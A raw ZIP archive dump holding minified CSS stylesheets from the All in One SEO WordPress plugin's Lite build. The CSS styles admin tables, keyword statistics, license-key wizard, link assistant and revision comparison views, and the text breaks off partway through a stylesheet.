.toggle-row-button.active:hover{background-color:#1a82ea}.aioseo-search-statistics-keywords-table .toggle-row-button.active svg.aioseo-caret{color:#fff}[dir=ltr] .aioseo-search-statistics-keywords-table .toggle-row-button.active svg.aioseo-caret{transform:rotate(-360deg)}[dir=rtl] .aioseo-search-statistics-keywords-table .toggle-row-button.active svg.aioseo-caret{transform:rotate(360deg)}.aioseo-search-statistics-keywords-table .toggle-row-button svg.aioseo-caret{margin:0;height:20px;width:20px;color:#8c8f9a;transition:transform .3s}[dir=ltr] .aioseo-search-statistics-keywords-table .toggle-row-button svg.aioseo-caret{transform:rotate(-90deg)}[dir=rtl] .aioseo-search-statistics-keywords-table .toggle-row-button svg.aioseo-caret{transform:rotate(90deg)}@media (max-width: 1300px){.aioseo-search-statistics-keywords-table .manage-column.keyword{width:160px!important}}.aioseo-search-statistics-keywords-table .aioseo-wp-table.pagination-hidden .search-box{position:relative;top:45px}.aioseo-search-statistics-keywords-table .aioseo-wp-table.pagination-hidden .subsubsub{margin-bottom:9px}.aioseo-search-statistics-keyword-rankings{position:relative} PKÉ—[´f*Call-in-one-seo-pack/dist/Lite/assets/css/KeywordsGraph.DR_nboBc.cssnu„[µü¤.aioseo-app .aioseo-search-statistics-redirects{font-size:14px}.aioseo-app .aioseo-search-statistics-redirects .aioseo-cta .aioseo-cta-background .header-text{font-size:15px}.aioseo-app .aioseo-search-statistics-redirects .aioseo-cta .aioseo-cta-background .description{font-size:14px} PKÉ—[òuwÎúúGall-in-one-seo-pack/dist/Lite/assets/css/LicenseConditions.BOtH6Pgq.cssnu„[µü¤[dir=ltr] .aioseo-caret-solid--down{transform:rotate(-180deg)}[dir=rtl] .aioseo-caret-solid--down{transform:rotate(180deg)}.statistic{display:flex;align-items:center;font-size:14px}.statistic>span{display:inline-flex;flex:1}.statistic .aioseo-tooltip{justify-content:flex-end}[dir=ltr] .statistic .aioseo-tooltip{margin-left:0}[dir=rtl] .statistic .aioseo-tooltip{margin-right:0}.statistic-direction{display:flex;align-items:center;font-weight:700}[dir=ltr] .statistic-direction{margin-left:12px}[dir=rtl] .statistic-direction{margin-right:12px}.statistic-direction.up{color:#00aa63}.statistic-direction.down{color:#df2a4a}.statistic-loss,.statistic-drop{font-weight:700;font-size:14px;line-height:22px}.statistic.no-margin .aioseo-tooltip{justify-content:center}[dir=ltr] .statistic.no-margin .statistic-direction{margin-left:0}[dir=rtl] .statistic.no-margin .statistic-direction{margin-right:0}.statistic svg{width:12px;height:12px}[dir=ltr] .statistic svg{margin-right:6px}[dir=rtl] .statistic svg{margin-left:6px} PKÉ—[Ë™À²²@all-in-one-seo-pack/dist/Lite/assets/css/LicenseKey.DArKKUsp.cssnu„[µü¤.aioseo-wizard-license-key{font-size:16px;color:#141b38}.aioseo-wizard-license-key .header{font-size:24px;color:#141b38;font-weight:600}.aioseo-wizard-license-key .description{margin-top:32px;font-size:16px;color:#434960;margin-bottom:20px}.aioseo-wizard-license-key .aioseo-settings-row:last-child{border-bottom:none;margin-bottom:0}.aioseo-wizard-license-key .aioseo-settings-row.feature-grid .settings-name .name{font-size:18px}.aioseo-wizard-license-key .aioseo-settings-row.feature-grid .aioseo-col{display:flex;align-items:center}.aioseo-wizard-license-key .go-back a{color:#434960;font-size:14px}.aioseo-wizard-license-key .license-cta-box{font-size:14px;line-height:22px;border-radius:3px;background-color:#f2f7fd;padding:20px;max-width:620px;margin:12px 0}.aioseo-wizard-license-key .license-cta-box a{color:#00aa63}.aioseo-wizard-license-key .license-cta-box>div:first-child{font-weight:600;line-height:1.4}.aioseo-wizard-license-key .license-cta-box .aioseo-row{margin-top:12px}.aioseo-wizard-license-key .license-cta-box .aioseo-row .aioseo-col{display:flex;align-items:center}.aioseo-wizard-license-key .license-cta-box .aioseo-row .aioseo-col svg{width:16px;height:16px;color:#005ae0}[dir=ltr] .aioseo-wizard-license-key .license-cta-box .aioseo-row .aioseo-col svg{margin-right:10px}[dir=rtl] .aioseo-wizard-license-key .license-cta-box .aioseo-row .aioseo-col svg{margin-left:10px}.aioseo-wizard-license-key .license-key{margin-top:12px;display:flex;gap:8px;max-width:620px}[dir=ltr] .aioseo-wizard-license-key .license-key .aioseo-input{margin-right:8px}[dir=rtl] .aioseo-wizard-license-key .license-key .aioseo-input{margin-left:8px}.aioseo-wizard-license-key .license-key-error{margin-top:20px} PKÉ—[!U ¤hhAall-in-one-seo-pack/dist/Lite/assets/css/link-format.DpDdM4N6.cssnu„[µü¤.aioseo-link-assistant-did-you-know{padding:16px 12px 24px;border-top:1px solid #ddd;display:flex}.aioseo-link-assistant-did-you-know svg.aioseo-circle-information{width:16px;min-width:16px;max-width:16px;height:16px;margin-top:2px}[dir=ltr] .aioseo-link-assistant-did-you-know svg.aioseo-circle-information{margin-right:5px}[dir=rtl] .aioseo-link-assistant-did-you-know svg.aioseo-circle-information{margin-left:5px}.aioseo-link-assistant-did-you-know span{flex:1}.aioseo-link-assistant-did-you-know svg.aioseo-close{margin-top:2px;cursor:pointer;color:#434960;min-width:10px;max-width:10px;width:10px;height:10px} PKÉ—[5.í({{?all-in-one-seo-pack/dist/Lite/assets/css/Locations.ClPxJhz4.cssnu„[µü¤.info-urls-row .field-description{display:block;padding-bottom:6px;font-size:12px}.aioseo-locations-lite .aioseo-locations-card .content{min-height:550px}.aioseo-locations-lite .location-description{margin-top:0;margin-bottom:16px}.aioseo-locations-lite .location-description.mb-0{margin-bottom:0}.aioseo-locations-lite .aioseo-input,.aioseo-locations-lite .aioseo-select,.aioseo-locations-lite .aioseo-multiselect{max-width:480px}.aioseo-locations-lite .aioseo-tag{background:#dcdde1;padding:3px 8px;border-radius:3px}[dir=ltr] .aioseo-locations-lite .aioseo-tag{margin-right:8px}[dir=rtl] .aioseo-locations-lite .aioseo-tag{margin-left:8px}.aioseo-locations-lite .info-business-image .image-upload{display:flex}.aioseo-locations-lite .info-business-image .image-upload .aioseo-input-container{width:100%;max-width:445px}[dir=ltr] .aioseo-locations-lite .info-business-image .image-upload .aioseo-input-container{margin-right:8px}[dir=rtl] .aioseo-locations-lite .info-business-image .image-upload .aioseo-input-container{margin-left:8px}.aioseo-locations-lite .info-business-image .image-upload .aioseo-input-container .aioseo-input{width:100%}.aioseo-locations-lite .info-business-image .image-upload .insert-image{min-width:214px}[dir=ltr] .aioseo-locations-lite .info-business-image .image-upload .insert-image{margin-right:8px}[dir=rtl] .aioseo-locations-lite .info-business-image .image-upload .insert-image{margin-left:8px}.aioseo-locations-lite .info-business-image .image-upload .insert-image svg.aioseo-circle-plus{width:13px;height:13px}[dir=ltr] .aioseo-locations-lite .info-business-image .image-upload .insert-image svg.aioseo-circle-plus{margin-right:10px}[dir=rtl] .aioseo-locations-lite .info-business-image .image-upload .insert-image svg.aioseo-circle-plus{margin-left:10px}.aioseo-locations-lite .info-business-image img{margin-top:20px;width:auto;max-width:525px;max-height:525px;height:auto} PKÉ—[µ–D´&&:all-in-one-seo-pack/dist/Lite/assets/css/Main.BD9ZcQIS.cssnu„[µü¤html,body{margin:0;padding:0;background:#f3f4f5}.aioseo-header{position:initial}.aioseo-container.main-content{min-height:calc(100vh - 263px)}.aioseo-container.main-content .aioseo-card .animated-dannie{display:flex;align-items:center;justify-content:center;height:388px}footer{border-top:1px solid #E8E8EB;color:#999;font-size:13px;margin-top:50px;padding:30px 20px;text-align:center}footer p{margin:0 0 14px;font-size:13px!important}footer ul{display:inline-block;list-style:none;margin:0;padding:0}footer ul li{display:inline-block;margin:0 13px} PKÉ—[ãš!Ïžž:all-in-one-seo-pack/dist/Lite/assets/css/Main.C6V8bdS0.cssnu„[µü¤.aioseo-seo-revisions-comparison__controls[data-v-28d60966]{align-items:center;display:flex;flex-wrap:wrap;gap:18px;justify-content:space-between;margin:30px 0 0;opacity:.6;pointer-events:none;touch-action:none;-webkit-user-select:none;user-select:none}.aioseo-seo-revisions-comparison__controls__previous[data-v-28d60966],.aioseo-seo-revisions-comparison__controls__next[data-v-28d60966]{flex:0 1 auto}.aioseo-seo-revisions-comparison__controls__compare-mode[data-v-28d60966]{flex:1 1 100%}[dir=ltr] .aioseo-seo-revisions-comparison__controls__compare-mode[data-v-28d60966]{text-align:right}[dir=rtl] .aioseo-seo-revisions-comparison__controls__compare-mode[data-v-28d60966]{text-align:left}.aioseo-seo-revisions-comparison__controls__slider[data-v-28d60966]{flex:1 1 auto;max-width:828px;position:relative}.aioseo-seo-revisions-comparison__controls__slider .marks[data-v-28d60966]{background-color:#fff;border:none;border-bottom:1px solid #bbbbbb;border-top:1px solid #bbbbbb;box-shadow:none;cursor:pointer;display:flex;flex-flow:row-reverse;height:9px;justify-content:space-between;outline:none}.aioseo-seo-revisions-comparison__controls__slider .marks div[data-v-28d60966]{background-color:#bbb;height:100%;pointer-events:none;width:1px}.aioseo-seo-revisions-comparison__controls__slider__handle[data-v-28d60966]{--handle-size: 24px;background:none;border-radius:50%;border:none;box-shadow:none;cursor:pointer;height:var(--handle-size);outline:transparent solid 0;padding:0;position:absolute;top:50%;touch-action:none;width:var(--handle-size)}[dir=ltr] .aioseo-seo-revisions-comparison__controls__slider__handle[data-v-28d60966]{left:100%;transform:translate(calc(var(--handle-size) / 2 * -1),-50%)}[dir=rtl] .aioseo-seo-revisions-comparison__controls__slider__handle[data-v-28d60966]{right:100%;transform:translate(calc(-1*(var(--handle-size) / 2 * -1)),-50%)}.aioseo-seo-revisions-comparison__item-meta[data-v-2c5e7d56]{align-items:center;color:#141b38;display:grid;font-size:12px;font-style:normal;gap:6px;grid-template-columns:30px minmax(0,1fr);grid-auto-flow:column;padding:6px}.aioseo-seo-revisions-comparison__item-meta *[data-v-2c5e7d56]{line-height:normal}.aioseo-seo-revisions-comparison__item-meta__col .aioseo-wrapper[data-v-2c5e7d56]{display:flex}.aioseo-seo-revisions-comparison__item-meta__author-avatar[data-v-2c5e7d56]{height:30px;width:30px}.aioseo-seo-revisions-comparison__item-meta__title[data-v-2c5e7d56]{font-weight:700}[dir=ltr] .aioseo-seo-revisions-comparison__item-meta__title[data-v-2c5e7d56]{text-align:right}[dir=rtl] .aioseo-seo-revisions-comparison__item-meta__title[data-v-2c5e7d56]{text-align:left}.aioseo-seo-revisions-comparison__item-meta__author[data-v-2c5e7d56]{flex:0 0 auto}.aioseo-seo-revisions-comparison__item-meta__note[data-v-2c5e7d56],.aioseo-seo-revisions-comparison__item-meta__btn-edit-note[data-v-2c5e7d56]{position:relative}[dir=ltr] .aioseo-seo-revisions-comparison__item-meta__note[data-v-2c5e7d56],[dir=ltr] .aioseo-seo-revisions-comparison__item-meta__btn-edit-note[data-v-2c5e7d56]{margin-left:18px}[dir=rtl] .aioseo-seo-revisions-comparison__item-meta__note[data-v-2c5e7d56],[dir=rtl] .aioseo-seo-revisions-comparison__item-meta__btn-edit-note[data-v-2c5e7d56]{margin-right:18px}.aioseo-seo-revisions-comparison__item-meta__note[data-v-2c5e7d56]:before,.aioseo-seo-revisions-comparison__item-meta__btn-edit-note[data-v-2c5e7d56]:before{background-color:#8c8f9a;content:"";height:10px;position:absolute;top:50%;transform:translateY(-50%);width:2px}[dir=ltr] .aioseo-seo-revisions-comparison__item-meta__note[data-v-2c5e7d56]:before,[dir=ltr] .aioseo-seo-revisions-comparison__item-meta__btn-edit-note[data-v-2c5e7d56]:before{right:calc(100% + 9px)}[dir=rtl] .aioseo-seo-revisions-comparison__item-meta__note[data-v-2c5e7d56]:before,[dir=rtl] .aioseo-seo-revisions-comparison__item-meta__btn-edit-note[data-v-2c5e7d56]:before{left:calc(100% + 9px)}.aioseo-seo-revisions-comparison__item-meta__note[data-v-2c5e7d56]{display:flex;font-weight:700;flex:0 1 auto;min-width:0}.aioseo-seo-revisions-comparison__item-meta__btn-edit-note[data-v-2c5e7d56]{background:none;border:none;box-shadow:none;color:#005ae0;font-style:normal;font-weight:400;height:auto;min-height:auto;outline-offset:1px;outline:transparent solid 0;padding:0;white-space:nowrap}.aioseo-seo-revisions-comparison__item-meta__date[data-v-2c5e7d56]{color:#555d66;margin-top:4px}.aioseo-seo-revisions-item-diff[data-v-3d55fc94]{font-family:Roboto,-apple-system,BlinkMacSystemFont,Segoe UI,Helvetica Neue,sans-serif}.aioseo-seo-revisions-item-diff h3[data-v-3d55fc94]{margin:0 0 15px}.aioseo-seo-revisions-item-diff h3~h3[data-v-3d55fc94]{border-top:1px solid #E8E8EB;margin-top:20px;padding-top:40px}.aioseo-seo-revisions-item-diff .diff td[data-v-3d55fc94]{font-family:inherit}.aioseo-seo-revisions-item-diff .diff td .tag[data-v-3d55fc94]{background-color:#f3f4f5;border-radius:4px;border:1px solid #D0D1D7;color:#141b38;display:inline-block;font-size:12px;font-weight:700;line-height:normal;padding:3px 6px}[dir=ltr] .aioseo-seo-revisions-item-diff .diff td .tag[data-v-3d55fc94]{margin-right:5px}[dir=rtl] .aioseo-seo-revisions-item-diff .diff td .tag[data-v-3d55fc94]{margin-left:5px}.aioseo-seo-revisions-item-diff .diff td del[data-v-3d55fc94]{background-color:#fecaca}.aioseo-seo-revisions-item-diff .diff td del>.tag[data-v-3d55fc94]{background-color:#fecaca;border:1px solid #F87171}.aioseo-seo-revisions-item-diff .diff td ins[data-v-3d55fc94]{background-color:#a7f3d0}.aioseo-seo-revisions-item-diff .diff td ins>.tag[data-v-3d55fc94]{background-color:#a7f3d0;border:1px solid #34D399}.aioseo-seo-revisions-item-diff .diff td del[data-v-3d55fc94]:has(.tag),.aioseo-seo-revisions-item-diff .diff td ins[data-v-3d55fc94]:has(.tag){background-color:transparent}.aioseo-seo-revisions-comparison[data-v-4dbffcec]{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Helvetica Neue,sans-serif;letter-spacing:normal}.aioseo-seo-revisions-comparison h1[data-v-4dbffcec]{align-items:center;display:flex}.aioseo-seo-revisions-comparison__item-meta-wrapper[data-v-4dbffcec]{background-color:#fff;box-shadow:0 1px 3px #0000001a;margin:20px 0}.aioseo-seo-revisions-comparison__diff[data-v-4dbffcec]{background-color:#fff;box-shadow:0 1px 3px #0000001a;margin:20px 0 0;padding:15px} PKÉ—[›#¯:all-in-one-seo-pack/dist/Lite/assets/css/Main.C6YJhUH-.cssnu„[µü¤.aioseo-link-assistant .aioseo-wp-table tbody th.check-column,.aioseo-link-assistant .aioseo-wp-table tbody td{font-size:14px}.aioseo-link-assistant .aioseo-wp-table tr.edit-row .edit-row-content,.aioseo-link-assistant .aioseo-wp-table tr.edit-row .edit-row-content .wrapper .border{padding:0}.aioseo-link-assistant .aioseo-wp-table button.toggle-row-button{display:flex;width:26px;height:26px;padding:0;justify-content:center;align-items:center;background-color:#fff;border:1px solid #DCDDE1;border-radius:3px}[dir=ltr] .aioseo-link-assistant .aioseo-wp-table button.toggle-row-button{margin-left:auto}[dir=rtl] .aioseo-link-assistant .aioseo-wp-table button.toggle-row-button{margin-right:auto}.aioseo-link-assistant .aioseo-wp-table button.toggle-row-button:hover{cursor:pointer;background-color:#f9f9fa}.aioseo-link-assistant .aioseo-wp-table button.toggle-row-button.active{background-color:#005ae0;border:1px solid #005AE0}.aioseo-link-assistant .aioseo-wp-table button.toggle-row-button.active:hover{background-color:#1a82ea}.aioseo-link-assistant .aioseo-wp-table button.toggle-row-button.active svg.aioseo-caret{color:#fff}[dir=ltr] .aioseo-link-assistant .aioseo-wp-table button.toggle-row-button.active svg.aioseo-caret{transform:rotate(-180deg)}[dir=rtl] .aioseo-link-assistant .aioseo-wp-table button.toggle-row-button.active svg.aioseo-caret{transform:rotate(180deg)}.aioseo-link-assistant .aioseo-wp-table button.toggle-row-button svg.aioseo-caret{margin:0;height:24px;width:24px;color:#8c8f9a;transition:transform .3s}[dir=ltr] .aioseo-link-assistant .aioseo-wp-table button.toggle-row-button svg.aioseo-caret{transform:rotate(-90deg)}[dir=rtl] .aioseo-link-assistant .aioseo-wp-table button.toggle-row-button svg.aioseo-caret{transform:rotate(90deg)}.aioseo-link-assistant .aioseo-wp-table .row-actions a.delete-all-links{color:#df2a4a}[dir=ltr] .aioseo-link-assistant .aioseo-wp-table svg{margin-right:11.22px}[dir=rtl] .aioseo-link-assistant .aioseo-wp-table svg{margin-left:11.22px}.aioseo-link-assistant .aioseo-wp-table svg.aioseo-link-external{color:#005ae0;width:12px;height:12px}.aioseo-link-assistant .aioseo-wp-table svg.aioseo-new-page{color:#434960;width:9.33px;height:11.67px}.aioseo-link-assistant .aioseo-wp-table svg.aioseo-close{margin:0}.aioseo-link-assistant .aioseo-tooltip .popper.action a.tooltip-url{white-space:normal!important}.aioseo-link-assistant #the-list .aioseo-wp-table.link-assistant-inner-table .wp-table table{border:0}.aioseo-link-assistant #the-list .aioseo-wp-table.link-assistant-inner-table .wp-table table thead tr:last-child th.manage-column,.aioseo-link-assistant #the-list .aioseo-wp-table.link-assistant-inner-table .wp-table table thead tr:last-child td.manage-column{border-bottom:1px solid #c3c4c7!important}.aioseo-link-assistant #the-list .aioseo-wp-table.link-assistant-inner-table .wp-table table tbody tr .row-actions{position:relative}.aioseo-link-assistant #the-list .aioseo-wp-table.link-assistant-inner-table .wp-table table tbody tr:hover .row-actions{position:static}.aioseo-link-assistant #the-list .aioseo-wp-table.link-assistant-inner-table .wp-table table tbody .aioseo-tooltip{display:inline-block}[dir=ltr] .aioseo-link-assistant #the-list .aioseo-wp-table.link-assistant-inner-table .wp-table table tbody .aioseo-tooltip{margin-left:0}[dir=rtl] .aioseo-link-assistant #the-list .aioseo-wp-table.link-assistant-inner-table .wp-table table tbody .aioseo-tooltip{margin-right:0}.aioseo-link-assistant #the-list .aioseo-wp-table.link-assistant-inner-table .wp-table table tbody svg.aioseo-trash{width:18px;height:22px;color:#8c8f9a;cursor:pointer;transition:color .1s ease;margin-top:2px}.aioseo-link-assistant #the-list .aioseo-wp-table.link-assistant-inner-table .wp-table table tbody svg.aioseo-trash:hover{color:#df2a4a}.aioseo-link-assistant .aioseo-tabs.link-tabs{border-bottom:1px solid #E8E8EB}[dir=ltr] .aioseo-link-assistant .aioseo-tabs.link-tabs .aioseo-mobile-tabs{margin-left:10px}[dir=rtl] .aioseo-link-assistant .aioseo-tabs.link-tabs .aioseo-mobile-tabs{margin-right:10px}.aioseo-link-assistant .aioseo-tabs.link-tabs .var-tab{display:flex;align-items:center;column-gap:11.75px}.aioseo-link-assistant .aioseo-tabs.link-tabs .var-tab svg{display:inline-block;width:14px;height:14px}[dir=ltr] .aioseo-link-assistant .aioseo-tabs.link-tabs .var-tab svg{margin-right:0}[dir=rtl] .aioseo-link-assistant .aioseo-tabs.link-tabs .var-tab svg{margin-left:0}.aioseo-link-assistant .aioseo-tabs.link-tabs .var-tab svg.aioseo-link-internal-inbound,.aioseo-link-assistant .aioseo-tabs.link-tabs .var-tab svg.aioseo-link-internal-outbound{width:17px;height:17px;color:#00aa63}.aioseo-link-assistant .aioseo-tabs.link-tabs .var-tab svg.aioseo-link-external{width:17px;height:17px;color:#005ae0}.aioseo-link-assistant .aioseo-tabs.link-tabs .var-tab svg.aioseo-link-affiliate{color:#f18200;width:100%;height:auto;max-height:18px}.aioseo-link-assistant .aioseo-tabs.link-tabs .var-tab svg.aioseo-link-suggestion{color:#2c324c;width:100%;height:auto;max-width:20px}.aioseo-link-assistant div.links-bottom{display:flex;flex-direction:row;font-size:12px;line-height:18px;margin:0 16px 16px}.aioseo-link-assistant div.links-bottom a{text-decoration:underline}.aioseo-link-assistant div.links-bottom a.link-delete{color:#df2a4a!important}.aioseo-link-assistant div.links-bottom a:hover{text-decoration:none;cursor:pointer}.aioseo-link-assistant div.links-bottom .links-bottom-left{display:flex;flex:1 1 auto;column-gap:28px;align-items:center}.aioseo-link-assistant div.links-bottom .links-bottom-left div{display:flex;align-items:center}[dir=ltr] .aioseo-link-assistant div.links-bottom .links-bottom-left div svg{margin-right:10px}[dir=rtl] .aioseo-link-assistant div.links-bottom .links-bottom-left div svg{margin-left:10px}.aioseo-link-assistant div.links-bottom .links-bottom-left button svg{margin-top:2.5px;width:14px;height:14px;color:#fff!important}[dir=ltr] .aioseo-link-assistant div.links-bottom .links-bottom-left button svg{margin-right:10px}[dir=rtl] .aioseo-link-assistant div.links-bottom .links-bottom-left button svg{margin-left:10px}.aioseo-link-assistant div.links-bottom .links-bottom-left svg.aioseo-link-external{margin-top:3.5px;width:11px;height:11px;color:#005ae0}.aioseo-link-assistant div.links-bottom .links-bottom-right{display:flex;align-items:center}@media (max-width: 1115px){.aioseo-link-assistant .aioseo-tabs,.aioseo-link-assistant .aioseo-mobile-tabs .tab-dropdown{border-bottom:0}.aioseo-link-assistant .aioseo-mobile-tabs svg.aioseo-caret{height:20px;width:20px}}.aioseo-link-suggestions div.links-bottom{margin:16px 0 0}.aioseo-link-assistant-overview{position:relative} PKÉ—[#>Ò Ò :all-in-one-seo-pack/dist/Lite/assets/css/Main.Cd4GlQCO.cssnu„[µü¤.aioseo-app .aioseo-lite-vs-pro{margin-top:var(--aioseo-gutter);width:100%;padding:2px;background:#fff;box-shadow:0 2px 5px #0000000d;border:1px solid #E8E8EB;color:#141b38}.aioseo-app .aioseo-lite-vs-pro .aioseo-lite-vs-pro-header,.aioseo-app .aioseo-lite-vs-pro .aioseo-lite-vs-pro-grid,.aioseo-app .aioseo-lite-vs-pro .aioseo-lite-vs-pro-cta{padding:40px}.aioseo-app .aioseo-lite-vs-pro .aioseo-lite-vs-pro-header,.aioseo-app .aioseo-lite-vs-pro .aioseo-lite-vs-pro-cta{font-size:14px;background-color:#f9f9fa}.aioseo-app .aioseo-lite-vs-pro .aioseo-lite-vs-pro-header{display:flex;justify-content:space-between;align-items:center}[dir=ltr] .aioseo-app .aioseo-lite-vs-pro .aioseo-lite-vs-pro-header div{margin:0 30px 0 0}[dir=rtl] .aioseo-app .aioseo-lite-vs-pro .aioseo-lite-vs-pro-header div{margin:0 0 0 30px}.aioseo-app .aioseo-lite-vs-pro .aioseo-lite-vs-pro-header div .header-title{font-size:20px;font-weight:700}.aioseo-app .aioseo-lite-vs-pro .aioseo-lite-vs-pro-header div .header-text{margin:5px 0}.aioseo-app .aioseo-lite-vs-pro .aioseo-lite-vs-pro-header a{width:fit-content;min-width:220px}@media screen and (max-width: 782px){.aioseo-app .aioseo-lite-vs-pro .aioseo-lite-vs-pro-header{flex-direction:column;align-items:start}.aioseo-app .aioseo-lite-vs-pro .aioseo-lite-vs-pro-header div .header-text{margin:15px 0}}.aioseo-app .aioseo-lite-vs-pro .aioseo-lite-vs-pro-grid{font-size:14px}.aioseo-app .aioseo-lite-vs-pro .aioseo-lite-vs-pro-grid .header{display:grid;grid-template-columns:1.5fr 1fr 1fr;align-items:end;margin:0 0 24px;font-weight:700}.aioseo-app .aioseo-lite-vs-pro .aioseo-lite-vs-pro-grid .header .header-lite,.aioseo-app .aioseo-lite-vs-pro .aioseo-lite-vs-pro-grid .header .header-pro{font-size:18px}.aioseo-app .aioseo-lite-vs-pro .aioseo-lite-vs-pro-grid .header .header-pro{color:#00aa63}.aioseo-app .aioseo-lite-vs-pro .aioseo-lite-vs-pro-grid .feature{display:grid;grid-template-columns:1.5fr 30px 1fr 30px 1fr}.aioseo-app .aioseo-lite-vs-pro .aioseo-lite-vs-pro-grid .feature>div{padding:15px 6px}.aioseo-app .aioseo-lite-vs-pro .aioseo-lite-vs-pro-grid .feature svg{margin:15px 0}.aioseo-app .aioseo-lite-vs-pro .aioseo-lite-vs-pro-grid .feature svg.aioseo-close{width:13px;height:13px;margin:18px 0;color:#8c8f9a}.aioseo-app .aioseo-lite-vs-pro .aioseo-lite-vs-pro-grid .feature svg.aioseo-circle-check{width:18px;height:18px;margin:15px 0;color:#00aa63}.aioseo-app .aioseo-lite-vs-pro .aioseo-lite-vs-pro-grid .feature .feature-title{font-weight:700}.aioseo-app .aioseo-lite-vs-pro .aioseo-lite-vs-pro-cta{text-align:center}.aioseo-app .aioseo-lite-vs-pro .aioseo-lite-vs-pro-cta .cta-title{font-size:18px;font-weight:700}.aioseo-app .aioseo-lite-vs-pro .aioseo-lite-vs-pro-cta .cta-text{margin:24px auto;max-width:650px} PKÉ—[±P÷ÑÝÝ:all-in-one-seo-pack/dist/Lite/assets/css/Main.DF8X-pHu.cssnu„[µü¤.aioseo-search-statistics-authentication-alert{margin-bottom:20px}.aioseo-app .aioseo-card{margin:0 0 20px}.aioseo-app .aioseo-card:has(.aioseo-card-footer){position:relative;padding-bottom:44px}.aioseo-app .aioseo-card:has(.aioseo-card-footer) .content{position:static}.aioseo-app .aioseo-datepicker-picker{font-weight:700}.aioseo-app .aioseo-wp-table tbody td{font-size:14px}.aioseo-app .aioseo-wp-table tbody .object-title a,.aioseo-app .aioseo-wp-table tbody .keyword a{font-weight:700;color:#141b38}.aioseo-app .aioseo-wp-table tbody .object-title a:hover,.aioseo-app .aioseo-wp-table tbody .keyword a:hover{color:#005ae0}.aioseo-app .aioseo-wp-table tbody .no-results{font-size:16px}.aioseo-app .connect-cta{position:relative} PKÉ—[ûSS:all-in-one-seo-pack/dist/Lite/assets/css/Main.DsDXsFEe.cssnu„[µü¤.aioseo-app .index-notice,.aioseo-app .static-regeneration-notice{margin-top:10px} PKÉ—[üª&þZZ:all-in-one-seo-pack/dist/Lite/assets/css/Main.hUGweWUk.cssnu„[µü¤.aioseo-app .v3-migration-info{border-top:1px solid #E8E8EB;padding-top:10px;margin-top:15px}.aioseo-app .v3-migration-info ul.info-items{margin:0}.aioseo-app .v3-migration-info ul.info-items li{display:flex}.aioseo-app .v3-migration-info ul.info-items li span:first-of-type{flex:0 0 130px}.aioseo-app .aioseo-tools-debug .select-site{font-size:16px;font-weight:700;margin-bottom:5px}.aioseo-app .aioseo-tools-debug .aioseo-alert div:first-of-type{margin-bottom:10px}.aioseo-app .aioseo-tools-debug .aioseo-tabs.internal{margin:8px 0 var(--aioseo-gutter) 0}.aioseo-debug-modal .aioseo-description:empty{display:none}.aioseo-debug-modal .aioseo-modal-body{padding:20px 40px 40px;display:flex;align-items:center;justify-content:center;flex-direction:column;position:relative}.aioseo-debug-modal .aioseo-modal-body .description{font-size:16px;color:#141b38;margin-bottom:16px}.aioseo-debug-modal .aioseo-modal-body button.aioseo-button{margin-top:16px}.aioseo-debug-modal .aioseo-modal-body button.close{position:absolute;top:11px;width:24px;height:24px;background-color:#fff;border:none;display:flex;align-items:center}[dir=ltr] .aioseo-debug-modal .aioseo-modal-body button.close{right:11px}[dir=rtl] .aioseo-debug-modal .aioseo-modal-body button.close{left:11px}.aioseo-debug-modal .aioseo-modal-body button.close svg.aioseo-close{cursor:pointer;width:14px;height:14px} PKÉ—[ !‹~¢9¢9:all-in-one-seo-pack/dist/Lite/assets/css/main.PobdggJG.cssnu„[µü¤.aioseo-wp-table table.widefat{border:1px solid #c3c4c7;box-shadow:0 1px 1px #0000000a;background:#fff}.aioseo-wp-table .postbox table.widefat{box-shadow:none}.aioseo-wp-table .widefat{border-spacing:0;width:100%;clear:both;margin:0}.aioseo-wp-table .widefat *{word-wrap:break-word}.aioseo-wp-table .widefat a,.aioseo-wp-table .widefat button.button-link{text-decoration:none}.aioseo-wp-table .widefat td,.aioseo-wp-table .widefat th{padding:8px 10px}.aioseo-wp-table .widefat td:has(.row-actions),.aioseo-wp-table .widefat th:has(.row-actions){padding-bottom:10px}.aioseo-wp-table .widefat thead th,.aioseo-wp-table .widefat thead td{border-bottom:1px solid #c3c4c7}.aioseo-wp-table .widefat tfoot th,.aioseo-wp-table .widefat tfoot td{border-top:1px solid #c3c4c7;border-bottom:none}.aioseo-wp-table .widefat .no-items td{border-bottom-width:0}.aioseo-wp-table .widefat td{vertical-align:top}.aioseo-wp-table .widefat td,.aioseo-wp-table .widefat td p,.aioseo-wp-table .widefat td ol,.aioseo-wp-table .widefat td ul,.aioseo-wp-table .widefat th,.aioseo-wp-table .widefat thead td,.aioseo-wp-table .widefat tfoot td{font-size:14px;line-height:22px}[dir=ltr] .aioseo-wp-table .widefat th,[dir=ltr] .aioseo-wp-table .widefat thead td,[dir=ltr] .aioseo-wp-table .widefat tfoot td{text-align:left}[dir=rtl] .aioseo-wp-table .widefat th,[dir=rtl] .aioseo-wp-table .widefat thead td,[dir=rtl] .aioseo-wp-table .widefat tfoot td{text-align:right}.aioseo-wp-table .widefat th input,.aioseo-wp-table .widefat thead td input,.aioseo-wp-table .widefat tfoot td input{padding:0;vertical-align:text-top}[dir=ltr] .aioseo-wp-table .widefat th input,[dir=ltr] .aioseo-wp-table .widefat thead td input,[dir=ltr] .aioseo-wp-table .widefat tfoot td input{margin:0 0 0 8px}[dir=rtl] .aioseo-wp-table .widefat th input,[dir=rtl] .aioseo-wp-table .widefat thead td input,[dir=rtl] .aioseo-wp-table .widefat tfoot td input{margin:0 8px 0 0}.aioseo-wp-table .widefat .check-column{line-height:1;width:2.2em;padding:6px 0 25px;vertical-align:top}.aioseo-wp-table .widefat tbody th.check-column{padding:9px 0 22px}[dir=ltr] .aioseo-wp-table .widefat thead td.check-column,[dir=ltr] .aioseo-wp-table .widefat tbody th.check-column,[dir=ltr] .aioseo-wp-table .widefat tfoot td.check-column{padding:11px 0 0 3px}[dir=rtl] .aioseo-wp-table .widefat thead td.check-column,[dir=rtl] .aioseo-wp-table .widefat tbody th.check-column,[dir=rtl] .aioseo-wp-table .widefat tfoot td.check-column{padding:11px 3px 0 0}.aioseo-wp-table .widefat thead td.check-column,.aioseo-wp-table .widefat tfoot td.check-column{padding-top:4px;vertical-align:middle}.aioseo-wp-table .no-js .widefat thead .check-column input,.aioseo-wp-table .no-js .widefat tfoot .check-column input{display:none}.aioseo-wp-table .widefat .num{text-align:center}.aioseo-wp-table .widefat th#comments{vertical-align:middle}.aioseo-wp-table .widefat thead th,.aioseo-wp-table .widefat thead td,.aioseo-wp-table .widefat 